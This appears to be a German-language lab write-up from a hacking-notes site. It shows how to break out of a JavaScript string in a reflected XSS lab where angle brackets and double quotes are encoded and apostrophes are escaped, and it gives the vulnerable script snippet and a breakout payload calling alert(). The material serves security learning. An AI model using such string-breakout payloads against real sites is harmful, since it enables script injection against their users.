> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/xss-in-a-javascript-string-with-encoded-angle-brackets-encoded-double-quotes-and-escaped-apostrophe.md).

# XSS in einem JavaScript-String mit kodierten spitzen Klammern, kodierten doppelten Anführungszeichen und maskiertem Apostroph

### Reflektiertes XSS in einem JavaScript-String mit HTML-kodierten spitzen Klammern und doppelten Anführungszeichen sowie maskierten einfachen Anführungszeichen

Dieses Lab enthält eine reflektierte XSS-Schwachstelle: Der Suchwert wird in einen JavaScript-String eingefügt. `<`/`>` und doppelte Anführungszeichen werden HTML-kodiert, und einfache Anführungszeichen werden maskiert. Ziel: Aus dem JavaScript-String ausbrechen und aufrufen `alert()`.

Ausschnitt aus dem beobachteten Skript

```javascript
var searchTerms = '&lt;/h1&gt;/'';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
```

Beobachtete Einschränkungen

* Einfache Apostrophe werden maskiert (`/'`).

```javascript
test'
```

<figure><img src="/files/eee865fd40d3cebdfd79fd2321160dd7de4bee20" alt=""><figcaption></figcaption></figure>

Bereitgestellte Nutzlast

<figure><img src="/files/1d4376e211deb6952b91b90ccc3d0cd5981c4751" alt=""><figcaption></figcaption></figure>

```javascript
test/'+alert(0);//
```

<figure><img src="/files/8e8ba844695a86916aa7960402ad45fb83ca4da3" alt=""><figcaption></figcaption></figure>


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